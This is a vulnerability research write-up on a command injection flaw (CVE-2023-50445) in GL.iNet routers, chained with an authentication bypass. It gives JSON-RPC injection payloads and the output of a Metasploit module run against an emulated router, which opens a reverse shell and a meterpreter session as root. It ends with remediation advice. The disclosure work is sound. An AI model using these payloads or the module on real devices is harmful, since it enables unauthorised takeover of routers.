Overview
This report describes the Shell Metacharacter Injection vulnerability recently discovered in GL.iNet products. The vulnerability exists in the get_system_log and get_crash_log functions of the logread module, as well as the upgrade_online function of the upgrade module. It allows execution of malicious shell commands through externally provided parameters, thereby enabling control over the related products.
Attackers can manipulate routers by passing malicious shell commands through the API (v4).
get_system_log function
{
"jsonrpc": "2.0",
"id": 11,
"method": "call",
"params": [
"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
"logread",
"get_system_log",
{
"lines": "| echo pawned >/tmp/lines.pawned",
"module": "| echo pawned >/tmp/module.pawned"
}
]
}
get_crash_log function
{
"jsonrpc": "2.0",
"id": 11,
"method": "call",
"params": [
"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
"logread",
"get_crash_log",
{
"mode": "| echo pawned >/tmp/mode.pawned",
"log_number": "| echo pawned >/tmp/log_number.pawned"
}
]
}
upgrade_online function
{
"jsonrpc": "2.0",
"id": 11,
"method": "call",
"params": [
"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
"upgrade",
"upgrade_online",
{
"url": "| echo pawned >/tmp/url.pawned",
"sha256": "| echo pawned >/tmp/sha256.pawned",
"keep_config": "| echo pawned >/tmp/keep_config.pawned",
"keep_package": "| echo pawned >/tmp/keep_package.pawned"
}
]
}
This vulnerability requires post-authentication with a SessionID (SID) to be successful. This authentication can be circumvented by chaining this vulnerability with CVE-2023-50919 where the SID can be retrieved without any credential knowledge, hence making this exploit pre-authenticated.
I created a new module that determines the GL.iNet device model, firmware information and architecture to check if the device is vulnerable and chained the two vulnerabilities.
I have tested this module using FirmAE to emulate a GL.iNet device AR300M16 with firmware openwrt-ar300m16-4.3.7-0913-1694589994.bin.
Exploit validation
GL.iNet AR300M16 emulated target
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!
[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:392 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B)
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:427 errors:0 dropped:0 overruns:0 frame:0
TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB)
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
- You should now be able to
pingthe network address 192.168.8.1 from your host and run anmapcommand to check the services (HTTP TCP port 80). - NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
- You can change this with:
ip a del 192.168.1.2/24 dev tap91_0andip a add 192.168.8.2/24 dev tap91_0.
# ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link>
ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet)
RX packets 39 bytes 4692 (4.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 50 bytes 4044 (3.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
443/tcp open https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info
Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
Platform: Unix, Linux
Arch: cmd, mipsle, mipsbe, armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-12-10
Provided by:
h00die-gr3y [h00die.gr3y@gmail.com](mailto:h00die.gr3y@gmail.com)
Unknown
DZONERZY
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (UDP)
SID no Session ID
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
interface in the `logread` module.
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
retrieved without knowing a valid username and password.
The following GL.iNet network products are vulnerable:
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
- MT6000: v4.5.0 - v4.5.3;
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
- E750/E750V2, MV1000: v4.3.8;
- and potentially others (just try
NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
when using the Linux Dropper target.
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-50445
https://nvd.nist.gov/vuln/detail/CVE-2023-50919
https://h00die-gr3y.github.io/research/cve-2023-50445/
https://h00die-gr3y.github.io/research/cve-2023-50919/
https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md
View the full module info with the info -d command.
Scenarios
FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000
pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit
FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.8.1
OS : (Linux 4.1.17+)
Architecture : mips
BuildTuple : mips-linux-muslsf
Meterpreter : mipsbe/linux
meterpreter >
You can find the module here in my local repository or as PR 18648 at the Metasploit GitHub development.
Remediation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A =>
v4.0.0 < v4.5.0 - MT6000 =>
v4.5.0 - v4.5.3 - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 =>
v4.3.7 - E750/E750V2, MV1000 =>
v4.3.8 - X3000:
v4.0.0 - v4.4.2 - XE3000:
v4.0.0 - v4.4.3 - SFT1200:
v4.3.6 - and potentially others…
References
- CVE-2023-50445
- From zero to botnet: GL.iNet going wild by DZONERZY
- GL.iNet home page
- GL.iNet API 3.x documentation
- GL.iNet API 4.x documentation
- FirmAE
- FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
DZONERZY
And to all other good fellows who raised this concern